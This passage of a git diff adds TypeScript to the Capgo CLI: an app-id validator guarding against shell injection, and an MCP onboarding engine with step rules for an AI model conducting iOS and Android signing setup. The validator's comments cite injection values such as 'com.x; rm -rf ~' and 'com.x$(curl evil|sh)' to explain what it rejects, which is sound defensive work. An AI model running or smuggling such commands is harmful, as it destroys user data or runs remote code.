malicious capacitor.config) could inject arbitrary shell code: +// com.x; rm -rf ~ +// com.x$(curl evil|sh) +// +// This validator accepts only strict reverse-domain package identifiers: +// one or more labels of [A-Za-z0-9_-], separated by dots, with at least +// one separator — e.g. com.example.app, io.capgo.app_1, com.acme.my-app. +// +// The pattern rejects every shell/AppleScript metacharacter: +// space, ; $ ` ( ) & | > < # / ' " \ newline tab +// and also rejects bare single-label names (no dot). +// +// The regex is intentionally stricter than the init/command.ts appIdRegex so +// that it stays safe even if that regex is relaxed in the future. Do NOT +// weaken this validator. + +/** Strict reverse-domain package identifier pattern (command-injection safe). */ +const SAFE_APP_ID = /^[a-z0-9]+(?:[._-][a-z0-9]+)+$/i + +/** + * Returns true only when `appId` is a safe reverse-domain package identifier + * that can be embedded in a shell command string without risk of injection. + * + * Valid examples: com.example.app io.capgo.app_1 com.acme.my-app + * Invalid examples: com.x; rm -rf ~ com.x$(cmd) nodots "" + */ +export function isSafeAppIdForCommand(appId: string): boolean { + return SAFE_APP_ID.test(appId) +} diff --git a/cli/src/build/onboarding/mcp/contract.ts b/cli/src/build/onboarding/mcp/contract.ts new file mode 100644 index 0000000000..4a231d73d9 --- /dev/null +++ b/cli/src/build/onboarding/mcp/contract.ts @@ -0,0 +1,119 @@ +// src/build/onboarding/mcp/contract.ts +// Result contract for the MCP-conducted Capgo Builder onboarding. +// The `kind` tells the AI how to behave; `next` tells it the literal next move. +// Returned both as JSON and as a rendered directive (see renderResult). + +export type StepKind = 'auto' | 'human_gate' | 'choice' | 'done' | 'error' | 'info' +export type OnboardingPhase = 'preflight' | 'app' | 'credentials' | 'build' | 'done' +export type Platform = 'ios' | 'android' + +export interface ChoiceOption { + value: string + label?: string + note?: string +} + +export interface CollectField { + field: string + desc: string +} + +export interface NextAction { + /** The exact tool to call next. */ + tool: string + /** Argument hint for the model. */ + with?: Record + /** A literal, copy-pasteable example call the model can pattern-match. */ + call?: string + /** Plain-English directive. */ + instruction: string +} + +export interface NextStepResult { + onboarding: 'capgo-builder' + phase: OnboardingPhase + /** Granular step name (reuses OnboardingStep vocabulary where applicable). */ + state: string + platform?: Platform + /** 0–100. */ + progress: number + kind: StepKind + summary: string + /** Human-facing journey overview; informational, not an execution list. */ + roadmap?: string[] + context?: Record + /** Present when kind === 'choice'. */ + options?: ChoiceOption[] + /** Present when kind === 'human_gate'. */ + human?: { instruction: string, resourceUri?: string } + /** Present when kind === 'human_gate': what to bring back. */ + collect?: CollectField[] + next?: NextAction + /** Rules of engagement; included on the first result of a session. */ + rules?: string[] +} + +export const ONBOARDING_RULES: string[] = [ + 'You are conducting Capgo Builder onboarding. Do not plan the steps yourself.', + 'Do exactly what the result\'s `next` says — never improvise the order or call other tools mid-flow.', + 'If kind is "human_gate", show `human.instruction` to the user, wait, then call `next.tool` with the values in `collect`. Never ask the user to paste secrets into the chat.', + 'If kind is "choice", present `options` and call `next.tool` with the user\'s pick.', + 'Never tell the user a step succeeded unless a result confirms it.', + 'If the user is confused, asks what a step means, or does not understand the options, call capgo_builder_onboarding_explain for a plain-language explanation — do not guess.', +] + +/** Render a result into MCP text content: imperative directive first, structured data last. */ +export function renderResult(result: NextStepResult): string { + const lines: string[] = [] + lines.push(`Capgo Builder onboarding — phase: ${result.phase} · step: ${result.state} · ${result.progress}%`) + lines.push('') + lines.push(result.summary) + + // Surface a saved keystore path as a human line (not only inside the JSON blob). + if (result.context && typeof result.context.keystorePath === 'string') { + lines.push('') + lines.push(`Saved keystore: ${result.context.keystorePath} (keep this file — you need it for every release)`) + } + + // Surface a random-generated keystore password as a human line so the user can + // save it (only set when the password was auto-generated — manual passwords the + // user already knows are never echoed here). + if (result.context && typeof result.context.keystorePassword === 'string') { + lines.push(`Keystore password: ${result.context.keystorePassword} (save this with the keystore — you need both for every release)`) + } + + if (result.roadmap?.length) { + lines.push('') + lines.push('PLAN (show the user):') + for (const item of result.roadmap) + lines.push(` • ${item}`) + } + if (result.human?.instruction) { + lines.push('') + lines.push(`ACTION FOR THE USER:\n${result.human.instruction}`) + if (result.human.resourceUri) + lines.push(`(Detailed guide: ${result.human.resourceUri})`) + } + if (result.options?.length) { + lines.push('') + lines.push('OPTIONS:') + for (const o of result.options) + lines.push(` - ${o.value}${o.label ? ` (${o.label})` : ''}${o.note ? ` — ${o.note}` : ''}`) + } + if (result.collect?.length) { + lines.push('') + lines.push('COLLECT FROM THE USER (never via chat if secret — use file paths / local login):') + for (const c of result.collect) + lines.push(` - ${c.field}: ${c.desc}`) + } + if (result.next) { + lines.push('') + lines.push(`DO THIS NEXT: ${result.next.instruction}`) + if (result.next.call) + lines.push(`Example call: ${result.next.call}`) + } + lines.push('') + lines.push('---') + lines.push(JSON.stringify(result, null, 2)) + return lines.join('\n') +} diff --git a/cli/src/build/onboarding/mcp/engine.ts b/cli/src/build/onboarding/mcp/engine.ts new file mode 100644 index 0000000000..6df7078951 --- /dev/null +++ b/cli/src/build/onboarding/mcp/engine.ts @@ -0,0 +1,1468 @@ +// src/build/onboarding/mcp/engine.ts +import type { AndroidOnboardingProgress, AndroidOnboardingStep } from '../android/types.js' +import type { AndroidEffectDeps, AndroidStepCtx } from '../android/flow.js' +import type { OnboardingProgress } from '../types.js' +import type { NextStepResult, Platform } from './contract.js' +import type { BuildOutputRecord } from '../../output-record.js' +import { buildAppIdConflictSuggestions } from '../../../init/app-conflict.js' +import { ONBOARDING_RULES } from './contract.js' +import { explainForState } from './explanations.js' +import { isSafeAppIdForCommand } from './app-id-validation.js' +import { ANDROID_STEP_PROGRESS } from '../android/types.js' +import { getAndroidResumeStep } from '../android/progress.js' +import { validateStepInput } from './step-input.js' +import { androidViewForStep, applyAndroidInput, applyGoogleSignIn, runAndroidEffect } from '../android/flow.js' +import { beginOAuthSession, clearOAuthSession, pollOAuthSession } from './oauth-session.js' + +/** Facts gathered during preflight; the pure deciders branch only on these. */ +export interface PreflightFacts { + capacitorProject: boolean + appId?: string + platformsDetected: Platform[] + authenticated: boolean + appRegistered: boolean + androidProgress: AndroidOnboardingProgress | null + iosProgress: OnboardingProgress | null +} + +const ROADMAP: string[] = [ + 'Preflight — detect your project & account', + 'Register the app in Capgo', + 'Set up signing credentials', + 'Run your first cloud build', +] + +const NEXT_STEP_TOOL = 'capgo_builder_onboarding_next_step' + +/** User input carried into the flow via next_step. */ +interface OnboardingInput { + platform?: string + serviceAccountJsonPath?: string + runBuild?: boolean + checkBuild?: boolean + keyId?: string + issuerId?: string + p8Path?: string + serviceAccountMethod?: 'generate' | 'existing' + playDeveloperId?: string + gcpProjectId?: string + gcpProjectName?: string + androidPackage?: string + saMethodChoice?: 'retry' | 'save-anyway' | 'oauth' + keystoreMethod?: 'existing' | 'generate' + keystorePath?: string + keystoreStorePassword?: string + keystoreAlias?: string + keystoreKeyPassword?: string + keystoreNewAlias?: string + keystorePasswordMethod?: 'random' | 'manual' + keystoreCommonName?: string +} + +// decideStart + +/** Decide the first/again step for a fresh or resumed session. */ +export async function decideStart( + facts: PreflightFacts, + progress: OnboardingProgress | null, + deps: EngineDeps, +): Promise { + if (!facts.capacitorProject || !facts.appId) { + return { + onboarding: 'capgo-builder', + phase: 'preflight', + state: 'no-capacitor-project', + progress: 0, + kind: 'error', + summary: 'This does not look like a Capacitor project (no capacitor.config with an app id). Run onboarding from your app directory.', + rules: ONBOARDING_RULES, + } + } + + if (!facts.authenticated) { + return { + onboarding: 'capgo-builder', + phase: 'preflight', + state: 'login-required', + progress: 5, + kind: 'human_gate', + summary: `Found your app "${facts.appId}". First, connect your Capgo account.`, + roadmap: ROADMAP, + context: { appId: facts.appId, platformsDetected: facts.platformsDetected }, + human: { + instruction: 'Get an API key at app.capgo.io — Account — API keys, then run `npx @capgo/cli login` in your terminal so it is stored locally. Do not paste the key into this chat.', + }, + next: { + tool: NEXT_STEP_TOOL, + instruction: 'After the user has run `capgo login`, call next_step again (no arguments) to continue.', + call: `${NEXT_STEP_TOOL}({})`, + }, + rules: ONBOARDING_RULES, + } + } + + // App phase: ensure the app is registered in Capgo Cloud before signing. + if (!facts.appRegistered) { + return { + onboarding: 'capgo-builder', + phase: 'app', + state: 'registering-app', + progress: 8, + kind: 'auto', + summary: `Registering "${facts.appId}" in Capgo Cloud...`, + context: { appId: facts.appId }, + rules: ONBOARDING_RULES, + } + } + + // Resume an in-flight platform credential flow so credential-submission calls + // that omit `platform` are not bounced back to platform selection. + const active = activePlatform(facts) + if (active === 'android') + return decideAndroid(facts, deps) + if (active === 'ios') + return decideIos(facts) + + // Single android platform with no in-flight progress → auto-route to android. + if (facts.platformsDetected.length === 1 && facts.platformsDetected[0] === 'android') + return decideAndroid(facts, deps) + + return decidePlatform(facts, progress) +} + +/** Which platform's credential flow is already in progress (if any). */ +function activePlatform(facts: PreflightFacts): Platform | null { + const a = facts.androidProgress + if (a && (a.activePlatform === 'android' || Boolean(a.completedSteps?.keystoreReady) || Boolean(a.serviceAccountForkSeen))) + return 'android' + const i = facts.iosProgress + if (i && (Boolean(i.keyId) || Boolean(i.p8Path) || Boolean(i.completedSteps?.apiKeyVerified))) + return 'ios' + return null +} + +function decidePlatform(facts: PreflightFacts, _progress: OnboardingProgress | null): NextStepResult { + const platforms = facts.platformsDetected + + if (platforms.length === 0) { + return { + onboarding: 'capgo-builder', + phase: 'preflight', + state: 'no-platform', + progress: 5, + kind: 'human_gate', + summary: 'No native platform folder found (ios/ or android/).', + human: { + instruction: 'Add a native platform first (run `npx cap add ios` or `npx cap add android`), then continue.', + }, + next: { + tool: NEXT_STEP_TOOL, + instruction: 'After the user has added a native platform, call next_step (no arguments).', + call: `${NEXT_STEP_TOOL}({})`, + }, + rules: ONBOARDING_RULES, + } + } + + if (platforms.length === 1) { + // Single-platform (ios only): auto-route to ios. Single android is handled + // via decideAndroid in the async path (activePlatform or platform selection). + return decideIos(facts) + } + + return { + onboarding: 'capgo-builder', + phase: 'preflight', + state: 'platform-select', + progress: 5, + kind: 'choice', + summary: `Found your app "${facts.appId}". Which platform do you want to set up first?`, + roadmap: ROADMAP, + context: { appId: facts.appId, appRegistered: facts.appRegistered }, + options: [ + { value: 'ios', label: 'iOS', note: 'you will create an App Store Connect API key' }, + { value: 'android', label: 'Android', note: 'mostly automatic; one Google sign-in' }, + ], + next: { + tool: NEXT_STEP_TOOL, + with: { platform: '' }, + instruction: 'Ask the user which platform, then call next_step with their choice.', + call: `${NEXT_STEP_TOOL}({ platform: "ios" })`, + }, + rules: ONBOARDING_RULES, + } +} + +export function decideIos(facts: PreflightFacts): NextStepResult { + const p = facts.iosProgress + const done = p?.completedSteps ?? {} + + if (!p?.keyId || !p?.issuerId || !p?.p8Path) { + return { + onboarding: 'capgo-builder', + phase: 'credentials', + state: 'ios-api-key', + platform: 'ios', + progress: 25, + kind: 'human_gate', + summary: `Set up iOS signing for "${facts.appId}". I need an App Store Connect API key.`, + human: { + instruction: 'In App Store Connect go to Users and Access, Integrations, App Store Connect API, create a key with App Manager access and download the .p8 (you can only download it once). Then give me the Key ID, the Issuer ID, and the path to the .p8 file. The .p8 stays on your machine — do not paste its contents here.', + }, + collect: [ + { field: 'keyId', desc: 'the Key ID shown next to the key' }, + { field: 'issuerId', desc: 'the Issuer ID at the top of the Keys page' }, + { field: 'p8Path', desc: 'absolute path to the downloaded .p8 file' }, + ], + next: { + tool: NEXT_STEP_TOOL, + with: { keyId: '', issuerId: '', p8Path: '' }, + instruction: 'Collect all three from the user, then call next_step with keyId, issuerId, and p8Path.', + call: `${NEXT_STEP_TOOL}({ keyId: "ABC123", issuerId: "1a2b-...", p8Path: "/path/to/AuthKey.p8" })`, + }, + rules: ONBOARDING_RULES, + } + } + + if (!done.profileCreated) { + return { + onboarding: 'capgo-builder', + phase: 'credentials', + state: 'ios-finalize', + platform: 'ios', + progress: 70, + kind: 'auto', + summary: 'Verifying your App Store Connect key, creating the distribution certificate + provisioning profile, and saving credentials...', + context: { appId: facts.appId }, + rules: ONBOARDING_RULES, + } + } + + return decideBuildPhase(facts, 'ios') +} + +export function mapAndroidView( + view: ReturnType, + facts: PreflightFacts, + opts?: { keystorePath?: string, keystorePassword?: string }, +): NextStepResult { + const base = { + onboarding: 'capgo-builder' as const, + phase: 'credentials' as const, + platform: 'android' as const, + state: view.step, + progress: ANDROID_STEP_PROGRESS[view.step] ?? 45, + rules: ONBOARDING_RULES, + } + + switch (view.step) { + case 'service-account-method-select': { + const savedLine = opts?.keystorePath + ? `✓ Keystore created and saved to ${opts.keystorePath}${opts.keystorePassword ? ` (password: ${opts.keystorePassword})` : ''} — keep ${opts.keystorePassword ? 'both' : 'this file'} safe (you'll need ${opts.keystorePassword ? 'them' : 'it'} for every release). ` + : '' + return { + ...base, + kind: 'choice', + summary: `${savedLine}Now, connect Google Play so Capgo can upload your builds. A Google Play "service account" is the credential that lets Capgo publish on your behalf — how do you want to set it up?`, + options: (view.options ?? []).map(o => ({ value: o.value, label: o.label, note: o.note })), + ...(opts?.keystorePath ? { context: { keystorePath: opts.keystorePath, ...(opts.keystorePassword ? { keystorePassword: opts.keystorePassword } : {}) } } : {}), + next: { + tool: NEXT_STEP_TOOL, + with: { serviceAccountMethod: '' }, + instruction: 'Present the options to the user, then call next_step with serviceAccountMethod.', + call: `${NEXT_STEP_TOOL}({ serviceAccountMethod: "generate" })`, + }, + } + } + + case 'google-sign-in': + return { + ...base, + kind: 'human_gate', + summary: `"${facts.appId}" needs access to Google Play. I will open your browser for a Google sign-in.`, + human: { + instruction: `I will open your browser for a Google sign-in. Approve every requested permission. Your tokens are used only during setup and are revoked when onboarding finishes; they never reach Capgo servers. Open your browser, approve the permissions, then tell me to continue.`, + }, + next: { + tool: NEXT_STEP_TOOL, + instruction: 'After the user approves in the browser, call next_step with no arguments to continue.', + call: `${NEXT_STEP_TOOL}({})`, + }, + } + + case 'play-developer-id-input': + return { + ...base, + kind: 'human_gate', + summary: `Google sign-in complete. Now I need your Google Play Developer account ID.`, + collect: [{ field: 'playDeveloperId', desc: 'Your Play Developer account ID (the number in the Play Console URL, e.g. 1234567890123456789)' }], + human: { + instruction: 'Open play.google.com/console, look at the URL the number after /developers/ is your account ID. Paste it here.', + }, + next: { + tool: NEXT_STEP_TOOL, + with: { playDeveloperId: '' }, + instruction: 'Collect the Play Developer account ID from the user, then call next_step with playDeveloperId.', + call: `${NEXT_STEP_TOOL}({ playDeveloperId: "1234567890123456789" })`, + }, + } + + case 'gcp-projects-select': + return { + ...base, + kind: 'choice', + summary: `Pick the Google Cloud project to use for "${facts.appId}".`, + options: (view.options ?? []).map(o => ({ value: o.value, label: o.label, note: o.note })), + next: { + tool: NEXT_STEP_TOOL, + with: { gcpProjectId: '' }, + instruction: 'Present the GCP project options to the user, then call next_step with gcpProjectId.', + call: `${NEXT_STEP_TOOL}({ gcpProjectId: "my-gcp-project" })`, + }, + } + + case 'gcp-project-create-name': + return { + ...base, + kind: 'human_gate', + summary: `Creating a new GCP project for "${facts.appId}". What should it be called?`, + collect: [{ field: 'gcpProjectName', desc: 'Display name for the new GCP project (e.g. My App Capgo)' }], + human: { + instruction: 'Choose a display name for the new Google Cloud project (it can be changed later).', + }, + next: { + tool: NEXT_STEP_TOOL, + with: { gcpProjectName: '' }, + instruction: 'Collect a project name from the user, then call next_step with gcpProjectName.', + call: `${NEXT_STEP_TOOL}({ gcpProjectName: "My App Capgo" })`, + }, + } + + case 'android-package-select': { + if (view.kind === 'choice') { + return { + ...base, + kind: 'choice', + summary: `Which Android package (applicationId) should I grant access to?`, + options: [ + ...(view.options ?? []).map(o => ({ value: o.value, label: o.label, note: o.note })), + { value: '__manual__', label: 'Type a different package name' }, + ], + next: { + tool: NEXT_STEP_TOOL, + with: { androidPackage: '' }, + instruction: 'Present the detected package options to the user, then call next_step with androidPackage.', + call: `${NEXT_STEP_TOOL}({ androidPackage: "com.example.app" })`, + }, + } + } + return { + ...base, + kind: 'human_gate', + summary: `I could not detect the Android package name. Please provide it manually.`, + collect: [{ field: 'androidPackage', desc: 'The applicationId from your Android app (e.g. com.example.app)' }], + human: { + instruction: 'Find the applicationId in your android/app/build.gradle file and provide it here.', + }, + next: { + tool: NEXT_STEP_TOOL, + with: { androidPackage: '' }, + instruction: 'Collect the Android package name from the user, then call next_step with androidPackage.', + call: `${NEXT_STEP_TOOL}({ androidPackage: "com.example.app" })`, + }, + } + } + + case 'sa-json-existing-path': + return { + ...base, + kind: 'human_gate', + summary: `Provide the path to your existing Google Play service-account JSON file.`, + collect: [{ field: 'serviceAccountJsonPath', desc: 'Absolute path to the Google Play service-account .json file' }], + human: { + instruction: 'Give me the path to your Google Play service-account .json key file. The file stays on your machine do not paste its contents here.', + }, + next: { + tool: NEXT_STEP_TOOL, + with: { serviceAccountJsonPath: '' }, + instruction: 'Ask the user for the service-account .json file path, then call next_step with serviceAccountJsonPath.', + call: `${NEXT_STEP_TOOL}({ serviceAccountJsonPath: "/path/to/service-account.json" })`, + }, + } + + case 'sa-json-validation-failed': + return { + ...base, + kind: 'choice', + summary: `Service account validation failed${view.message ? `: ${view.message}` : '.'}`, + options: (view.options ?? []).map(o => ({ value: o.value, label: o.label, note: o.note })), + next: { + tool: NEXT_STEP_TOOL, + with: { saMethodChoice: '' }, + instruction: 'Present the recovery options to the user, then call next_step with saMethodChoice.', + call: `${NEXT_STEP_TOOL}({ saMethodChoice: "retry" })`, + }, + } + + case 'keystore-method-select': + return { + ...base, + kind: 'choice', + summary: `Let's set up your Android signing keystore for "${facts.appId}". Do you already have one?`, + options: (view.options ?? []) + .filter(o => o.value !== 'learn') + .map(o => ({ value: o.value, label: o.label, note: o.note })), + next: { + tool: NEXT_STEP_TOOL, + with: { keystoreMethod: '' }, + instruction: 'Ask the user whether they already have a keystore, then call next_step with keystoreMethod.', + call: `${NEXT_STEP_TOOL}({ keystoreMethod: "generate" })`, + }, + } + + case 'keystore-explainer': + return { + ...base, + kind: 'human_gate', + summary: 'A keystore signs your Android app. You need one to publish to Google Play.', + human: { instruction: 'Let the user know about keystores, then ask them to choose: do they already have one or should we create one?' }, + next: { + tool: NEXT_STEP_TOOL, + with: { keystoreMethod: '' }, + instruction: 'Ask the user whether they already have a keystore, then call next_step with keystoreMethod.', + call: `${NEXT_STEP_TOOL}({ keystoreMethod: "generate" })`, + }, + } + + case 'keystore-existing-path': + return { + ...base, + kind: 'human_gate', + summary: 'Point me to your existing Android keystore.', + collect: [{ field: 'keystorePath', desc: 'Absolute path to your keystore (.jks/.keystore/.p12)' }], + human: { instruction: 'Give me the absolute path to your keystore file. It stays on your machine.' }, + next: { + tool: NEXT_STEP_TOOL, + with: { keystorePath: '' }, + instruction: 'Ask for the keystore path, then call next_step with keystorePath.', + call: `${NEXT_STEP_TOOL}({ keystorePath: "/path/to/release.jks" })`, + }, + } + + case 'keystore-existing-store-password': + return { + ...base, + kind: 'human_gate', + summary: "What is the keystore's store password?", + collect: [{ field: 'keystoreStorePassword', desc: 'The keystore store password (stays on your machine)' }], + human: { instruction: 'Ask the user for the store password and pass it as keystoreStorePassword. It is used locally to unlock the keystore.' }, + next: { + tool: NEXT_STEP_TOOL, + with: { keystoreStorePassword: '' }, + instruction: 'Ask the user for the store password, then call next_step with keystoreStorePassword.', + call: `${NEXT_STEP_TOOL}({ keystoreStorePassword: "..." })`, + }, + } + + case 'keystore-existing-alias-select': + return { + ...base, + kind: 'choice', + summary: 'Which key alias should we use?', + options: (view.options ?? []).map(o => ({ value: o.value, label: o.label, note: o.note })), + next: { + tool: NEXT_STEP_TOOL, + with: { keystoreAlias: '' }, + instruction: 'Present the alias options to the user, then call next_step with keystoreAlias.', + call: `${NEXT_STEP_TOOL}({ keystoreAlias: "release" })`, + }, + } + + case 'keystore-existing-alias': + return { + ...base, + kind: 'human_gate', + summary: 'Which key alias is in your keystore?', + collect: [{ field: 'keystoreAlias', desc: 'The key alias' }], + human: { instruction: 'Ask the user for the key alias inside the keystore, then pass it as keystoreAlias.' }, + next: { + tool: NEXT_STEP_TOOL, + with: { keystoreAlias: '' }, + instruction: 'Ask the user for the key alias, then call next_step with keystoreAlias.', + call: `${NEXT_STEP_TOOL}({ keystoreAlias: "release" })`, + }, + } + + case 'keystore-existing-key-password': + return { + ...base, + kind: 'human_gate', + summary: 'What is the key password? (Leave blank if it is the same as the store password.)', + collect: [{ field: 'keystoreKeyPassword', desc: 'The key password, or blank to match the store password' }], + human: { instruction: 'Ask the user for the key password. If they leave it blank, it will use the store password.' }, + next: { + tool: NEXT_STEP_TOOL, + with: { keystoreKeyPassword: '' }, + instruction: 'Ask the user for the key password (blank means same as store password), then call next_step with keystoreKeyPassword.', + call: `${NEXT_STEP_TOOL}({ keystoreKeyPassword: "..." })`, + }, + } + + case 'keystore-new-alias': + return { + ...base, + kind: 'human_gate', + summary: 'Naming your new key. What alias? (default: release)', + collect: [{ field: 'keystoreNewAlias', desc: 'Alias for the new key (default release)' }], + human: { instruction: 'Ask the user for a key alias (suggest "release" as the default), then pass it as keystoreNewAlias.' }, + next: { + tool: NEXT_STEP_TOOL, + with: { keystoreNewAlias: '' }, + instruction: 'Ask the user for the new key alias, then call next_step with keystoreNewAlias.', + call: `${NEXT_STEP_TOOL}({ keystoreNewAlias: "release" })`, + }, + } + + case 'keystore-new-password-method': + return { + ...base, + kind: 'choice', + summary: 'How should we set the keystore password?', + options: (view.options ?? []).map(o => ({ value: o.value, label: o.label, note: o.note })), + next: { + tool: NEXT_STEP_TOOL, + with: { keystorePasswordMethod: '' }, + instruction: 'Present the password method options to the user, then call next_step with keystorePasswordMethod.', + call: `${NEXT_STEP_TOOL}({ keystorePasswordMethod: "random" })`, + }, + } + + case 'keystore-new-store-password': + return { + ...base, + kind: 'human_gate', + summary: 'Set a store password for the new keystore (min 6 chars).', + collect: [{ field: 'keystoreStorePassword', desc: 'Store password for the new keystore (min 6 chars)' }], + human: { instruction: 'Ask the user to set a store password for the new keystore (at least 6 characters).' }, + next: { + tool: NEXT_STEP_TOOL, + with: { keystoreStorePassword: '' }, + instruction: 'Ask the user for the store password, then call next_step with keystoreStorePassword.', + call: `${NEXT_STEP_TOOL}({ keystoreStorePassword: "..." })`, + }, + } + + case 'keystore-new-key-password': + return { + ...base, + kind: 'human_gate', + summary: 'Set a key password (leave blank to match the store password).', + collect: [{ field: 'keystoreKeyPassword', desc: 'Key password, or blank to match the store password' }], + human: { instruction: 'Ask the user for a key password (blank means same as store password).' }, + next: { + tool: NEXT_STEP_TOOL, + with: { keystoreKeyPassword: '' }, + instruction: 'Ask the user for the key password (blank means same as store password), then call next_step with keystoreKeyPassword.', + call: `${NEXT_STEP_TOOL}({ keystoreKeyPassword: "..." })`, + }, + } + + case 'keystore-new-cn': + return { + ...base, + kind: 'human_gate', + summary: `Certificate common name? (default: your app id "${facts.appId}")`, + collect: [{ field: 'keystoreCommonName', desc: 'Certificate Common Name (default: app id)' }], + human: { instruction: `Ask the user for the certificate common name (suggest "${facts.appId}" as the default), then pass it as keystoreCommonName.` }, + next: { + tool: NEXT_STEP_TOOL, + with: { keystoreCommonName: '' }, + instruction: 'Ask the user for the certificate common name, then call next_step with keystoreCommonName.', + call: `${NEXT_STEP_TOOL}({ keystoreCommonName: "com.x" })`, + }, + } + + case 'error': + return { ...base, kind: 'error', summary: view.message ?? 'Android setup error.' } + + default: + return { + ...base, + kind: 'human_gate', + summary: `Android setup: ${view.step}`, + human: { instruction: 'Continue when ready.' }, + next: { tool: NEXT_STEP_TOOL, instruction: 'Call next_step to continue.', call: `${NEXT_STEP_TOOL}({})` }, + } + } +} + +function androidEffectError( + step: AndroidOnboardingStep, + err: unknown, + _facts: PreflightFacts, +): NextStepResult { + const message = err instanceof Error ? err.message : String(err) + const stepProg = ANDROID_STEP_PROGRESS[step] ?? 45 + + if (step === 'gcp-projects-loading') { + return { + onboarding: 'capgo-builder', phase: 'credentials', platform: 'android', state: step, + progress: stepProg, kind: 'human_gate', + summary: `Failed to load GCP projects: ${message}`, + human: { instruction: 'Check that your Google account has access to GCP, then tell me to continue to retry.' }, + next: { tool: NEXT_STEP_TOOL, instruction: 'After the user checks their GCP access, call next_step({}) to retry.', call: `${NEXT_STEP_TOOL}({})` }, + rules: ONBOARDING_RULES, + } + } + if (step === 'gcp-setup-running') { + return { + onboarding: 'capgo-builder', phase: 'credentials', platform: 'android', state: step, + progress: stepProg, kind: 'human_gate', + summary: `GCP setup failed: ${message}`, + human: { instruction: 'Check your GCP permissions and Play Console access. Tell me to continue to retry.' }, + next: { tool: NEXT_STEP_TOOL, instruction: 'After the user checks their access, call next_step({}) to retry.', call: `${NEXT_STEP_TOOL}({})` }, + rules: ONBOARDING_RULES, + } + } + if (step === 'saving-credentials') { + return { + onboarding: 'capgo-builder', phase: 'credentials', platform: 'android', state: step, + progress: stepProg, kind: 'human_gate', + summary: `Saving credentials failed: ${message}`, + human: { instruction: 'Tell me to continue to retry saving credentials.' }, + next: { tool: NEXT_STEP_TOOL, instruction: 'Call next_step({}) to retry.', call: `${NEXT_STEP_TOOL}({})` }, + rules: ONBOARDING_RULES, + } + } + return { + onboarding: 'capgo-builder', phase: 'credentials', platform: 'android', state: step, + progress: stepProg, kind: 'error', + summary: `Android setup error at step "${step}": ${message}`, + rules: ONBOARDING_RULES, + } +} + +export async function decideAndroid( + facts: PreflightFacts, + deps: EngineDeps, + opts?: { signInProceed?: boolean }, +): Promise { + const appId = facts.appId! + + // Seed empty progress when the user first enters the Android flow (null progress + // means no prior run). getAndroidResumeStep(null) returns 'welcome' which is a + // bootstrap-only step that the loop cannot drive; seeding an empty progress object + // makes getAndroidResumeStep return 'keystore-method-select' — the correct first + // interactive step. This mirrors how the Ink wizard begins. + let progress: import('../android/types.js').AndroidOnboardingProgress = facts.androidProgress ?? { + platform: 'android' as const, + appId, + startedAt: new Date().toISOString(), + completedSteps: {}, + } + // Record that the android flow is now active so a subsequent next_step that + // omits `platform` resumes android instead of bouncing to platform-select. + // Persist immediately because the first interactive step returns before the + // loop ever saves (so the NEXT call must already see the marker). + if (!progress.activePlatform) { + progress = { ...progress, activePlatform: 'android' } + await deps.androidEffectDeps.saveAndroidProgress(appId, progress) + } + + let ctx: AndroidStepCtx = { appId } + // When an effect signals an explicit next step (e.g. gcp-projects-loading → gcp-projects-select), + // use that instead of re-deriving from progress on the next iteration. + let forcedNextStep: AndroidOnboardingStep | undefined + // Track whether we've already written the .p12 file this invocation so we only write once. + let keystoreFileWritten = false + + for (let i = 0; i < MAX_AUTO_STEPS; i++) { + const step = forcedNextStep ?? getAndroidResumeStep(progress) + forcedNextStep = undefined + + if (step === 'google-sign-in') { + if (!opts?.signInProceed) { + const view = androidViewForStep(step, progress, ctx) + return mapAndroidView(view, facts) + } + + // Use injected session registry when available (for tests), else module-level. + const session = deps.oauthSession ?? { begin: beginOAuthSession, poll: pollOAuthSession, clear: clearOAuthSession } + const poll = session.poll(appId) + + if (poll.status === 'absent') { + // startOAuthFlow is always provided by the MCP driver (buildAndroidEffectDeps); + // the Ink driver never reaches this code path. + await session.begin(appId, () => deps.androidEffectDeps.startOAuthFlow!()) + return { + onboarding: 'capgo-builder', phase: 'credentials', state: 'google-sign-in', platform: 'android', + progress: ANDROID_STEP_PROGRESS['google-sign-in'], kind: 'human_gate', + summary: `I have opened your browser for Google sign-in. Approve the permissions, then tell me to continue.`, + human: { instruction: `Your browser has been opened for Google sign-in. Approve every requested permission — your tokens never reach Capgo servers and are revoked when setup finishes. Once you have approved in the browser, tell me to continue.` }, + next: { tool: NEXT_STEP_TOOL, instruction: 'After the user approves in the browser, call next_step with no arguments to continue.', call: `${NEXT_STEP_TOOL}({})` }, + rules: ONBOARDING_RULES, + } + } + + if (poll.status === 'pending') { + return { + onboarding: 'capgo-builder', phase: 'credentials', state: 'google-sign-in', platform: 'android', + progress: ANDROID_STEP_PROGRESS['google-sign-in'], kind: 'human_gate', + summary: `Still waiting on the browser sign-in — finish in the browser, then tell me to continue.`, + human: { instruction: `The browser sign-in is still in progress. Complete the sign-in in your browser, then tell me to continue.` }, + next: { tool: NEXT_STEP_TOOL, instruction: 'After finishing the browser sign-in, call next_step with no arguments to continue.', call: `${NEXT_STEP_TOOL}({})` }, + rules: ONBOARDING_RULES, + } + } + + if (poll.status === 'error') { + const reason = poll.error?.message ?? 'unknown error' + session.clear(appId) + return { + onboarding: 'capgo-builder', phase: 'credentials', state: 'google-sign-in', platform: 'android', + progress: ANDROID_STEP_PROGRESS['google-sign-in'], kind: 'human_gate', + summary: `Google sign-in did not complete (${reason}). Tell me to continue to try again.`, + human: { instruction: `The Google sign-in did not complete successfully (${reason}). Tell me to continue and I will open the browser again for a fresh sign-in.` }, + next: { tool: NEXT_STEP_TOOL, instruction: 'Tell the user what went wrong, then call next_step({}) to retry.', call: `${NEXT_STEP_TOOL}({})` }, + rules: ONBOARDING_RULES, + } + } + + const tokens = poll.tokens! + const info = await deps.androidEffectDeps.fetchUserInfo(tokens.accessToken) + progress = applyGoogleSignIn(progress, tokens, info) + await deps.androidEffectDeps.saveAndroidProgress(appId, progress) + session.clear(appId) + continue + } + + // ask-build is the post-save entry point for the Ink driver's build-choice sub-flow. + // The MCP bridge maps this to the shared build-ready choice (decideBuildPhase). + if (step === 'ask-build') + return decideBuildPhase(facts, 'android') + + // keystore-new-cn: the Ink wizard advances to keystore-generating immediately + // after the CN input is submitted (persistAndStep sets step:'keystore-generating' + // directly). getAndroidResumeStep cannot detect this transition on its own + // because there is no dedicated "cn collected" marker — CN is the last input + // before the auto effect. When CN is already in progress, force the next step. + if (step === 'keystore-new-cn' && progress.keystoreCommonName !== undefined) { + forcedNextStep = 'keystore-generating' + continue + } + + const view = androidViewForStep(step, progress, ctx) + + // keystore-existing-key-password has kind:'input' in KIND_TABLE but it also has + // an auto-probe component: the 